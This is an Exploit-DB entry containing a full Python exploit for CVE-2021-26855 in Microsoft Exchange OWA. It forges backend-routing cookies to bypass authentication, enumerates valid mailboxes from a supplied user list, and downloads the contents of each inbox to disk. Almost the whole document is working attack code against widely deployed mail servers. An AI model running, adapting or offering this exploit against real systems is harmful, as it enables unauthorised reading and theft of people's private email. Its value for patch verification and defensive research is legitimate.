Microsoft Exchange 2019 - Unauthenticated Email Download

EDB-ID:

49879




Platform:

Windows

Date:

2021-05-18


# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download
# Date: 03-11-2021
# Exploit Author: Gonzalo Villegas a.k.a Cl34r
# Vendor Homepage: https://www.microsoft.com/
# Version: OWA Exchange 2013 - 2019
# Tested on: OWA 2016
# CVE : CVE-2021-26855
# Details: checking users mailboxes and automated downloads of emails

import requests
import argparse
import time

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

__proxies__ = {"http": "http://127.0.0.1:8080",
               "https": "https://127.0.0.1:8080"}  # for debug on proxy


# needs to specifies mailbox, will return folder Id if account exists
payload_get_folder_id = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Body>
                    <m:GetFolder>
                        <m:FolderShape>
                            <t:BaseShape>AllProperties</t:BaseShape>
                        </m:FolderShape>
                        <m:FolderIds>
                            <t:DistinguishedFolderId Id="inbox">
                                <t:Mailbox>
                                    <t:EmailAddress>{}</t:EmailAddress>
                                </t:Mailbox>
                            </t:DistinguishedFolderId>
                        </m:FolderIds>
                    </m:GetFolder>
                </soap:Body>
            </soap:Envelope>

"""
# needs to specifies Folder Id and ChangeKey, will return a list of messages Ids (emails)
payload_get_items_id_folder = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
            <m:FindItem Traversal="Shallow">
               <m:ItemShape>
            <BaseShape>AllProperties</BaseShape></m:ItemShape>
               <SortOrder/>
             <m:ParentFolderIds>
                    <t:FolderId Id="{}" ChangeKey="{}"/>
                  </m:ParentFolderIds>
               <QueryString/>
            </m:FindItem>
            </soap:Body>
</soap:Envelope>
"""

# needs to specifies Id (message Id) and ChangeKey (of message too), will return an email from mailbox
payload_get_mail = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Body>
            <GetItem   xmlns="http://schemas.microsoft.com/exchange/services/2006/messages" 
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" Traversal="Shallow">
            <ItemShape>
            <t:BaseShape>Default</t:BaseShape>
            </ItemShape>
            <ItemIds>
            <t:ItemId Id="{}" ChangeKey="{}"/>
            </ItemIds>
            </GetItem>
                </soap:Body>
            </soap:Envelope>
"""


def getFQDN(url):
    print("[*] Getting FQDN from headers")
    rs = requests.post(url + "/owa/auth.owa", verify=False, data="evildata")
    if "X-FEServer" in rs.headers:
        return rs.headers["X-FEServer"]
    else:
        print("[-] Can't get FQDN ")
        exit(0)


def extractEmail(url, uri, user, fqdn, content_folderid, path):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla pwner"}
    from xml.etree import ElementTree as ET
    dom = ET.fromstring(content_folderid)
    for p in dom.findall('.//{http://schemas.microsoft.com/exchange/services/2006/types}Folder'):
        id_folder = p[0].attrib.get("Id")
        change_key_folder = p[0].attrib.get("ChangeKey")
        data = payload_get_items_id_folder.format(id_folder, change_key_folder)
        random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
        rs = requests.post(url + uri, data=data, headers=headers, verify=False)
        if "ErrorAccessDenied" in rs.text:
            print("[*] Denied ;(.. retrying")
            t_uri = uri.split("/")[-1]
            for ru in random_uris:
                print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
                rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
                if "NoError" in rs.text:
                    print("[+] data found, dowloading email")
                    break
        print("[+]Getting mails...")
        dom_messages = ET.fromstring(rs.text)
        messages = dom_messages.find('.//{http://schemas.microsoft.com/exchange/services/2006/types}Items')
        for m in messages:
            id_message = m[0].attrib.get("Id")
            change_key_message = m[0].attrib.get("ChangeKey")
            data = payload_get_mail.format(id_message, change_key_message)
            random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
            rs = requests.post(url + uri, data=data, headers=headers, verify=False)
            if "ErrorAccessDenied" in rs.text:
                print("[*] Denied ;(.. retrying")
                t_uri = uri.split("/")[-1]
                for ru in random_uris:
                    print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
                    rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
                    if "NoError" in rs.text:
                        print("[+] data found, downloading email")
                        break

            try:
                f = open(path + "/" + user.replace("@", "_").replace(".", "_")+"_"+change_key_message.replace("/", "").replace("\\", "")+".xml", 'w+')
                f.write(rs.text)
                f.close()
            except Exception as e:
                print("[!] Can't write .xml file to path (email): ", e)


def checkURI(url, fqdn):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla hehe"}
    arr_uri = ["//ecp/xxx.js", "/ecp/favicon.ico", "/ecp/auth.js"]
    for uri in arr_uri:
        rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format("thisisnotanvalidmail@pwn.local"),
                           headers=headers)
        #print(rs.content)
        if rs.status_code == 200 and "MessageText" in rs.text:
            print("[+] Valid URI:", uri)
            calculated_domain = rs.headers["X-CalculatedBETarget"].split(".")
            if calculated_domain[-2] in ("com", "gov", "gob", "edu", "org"):
                calculated_domain = calculated_domain[-3] + "." + calculated_domain[-2] + "." + calculated_domain[-1]
            else:
                calculated_domain = calculated_domain[-2] + "." + calculated_domain[-1]
            return uri, calculated_domain
        #time.sleep(1)
    print("[-] No valid URI found ;(")
    exit(0)


def checkEmailBoxes(url, uri, user, fqdn, path):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla hehe"}
    rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(user),
                       headers=headers)
    #time.sleep(1)
    #print(rs.content)
    if "ResponseCode" in rs.text and "ErrorAccessDenied" in rs.text:
        print("[*] Valid Email: {} ...but not authenticated ;( maybe not vulnerable".format(user))
    if "ResponseCode" in rs.text and "NoError" in rs.text:
        print("[+] Valid Email Found!: {}".format(user))
        extractEmail(url, uri, user, fqdn, rs.text, path)
    if "ResponseCode" in rs.text and "ErrorNonExistentMailbox" in rs.text:
        print("[-] Not Valid Email: {}".format(user))


def main():
    __URL__ = None
    __FQDN__ = None
    __mailbox_domain__ = None
    __path__ = None
    print("[***** OhhWAA *****]")
    parser = argparse.ArgumentParser(usage="Basic usage python %(prog)s -u <url> -l <users.txt> -p <path>")
    parser.add_argument('-u', "--url", help="Url, provide schema and not final / (eg https://example.org)", required=True)
    parser.add_argument('-l', "--list", help="Users mailbox list", required=True)
    parser.add_argument("-p", "--path", help="Path to write emails in xml format", required=True)
    parser.add_argument('-f', "--fqdn", help="FQDN", required=False, default=None)
    parser.add_argument("-d", "--domain", help="Domain to check mailboxes (eg if .local dont work)", required=False, default=None)
    args = parser.parse_args()
    __URL__ = args.url
    __FQDN__ = args.fqdn
    __mailbox_domain__ = args.domain
    __list_users__ = args.list
    __valid_users__ = []
    __path__ = args.path
    if not __FQDN__:
        __FQDN__ = getFQDN(__URL__)
        print("[+] Got FQDN:", __FQDN__)

    valid_uri, calculated_domain = checkURI(__URL__, __FQDN__)

    if not __mailbox_domain__:
        __mailbox_domain__ = calculated_domain

    list_users = open(__list_users__, "r")
    for user in list_users:
        checkEmailBoxes(__URL__, valid_uri, user.strip()+"@"+__mailbox_domain__, __FQDN__, __path__)

    print("[!!!] FINISHED OhhWAA")


if __name__ == '__main__':
    main()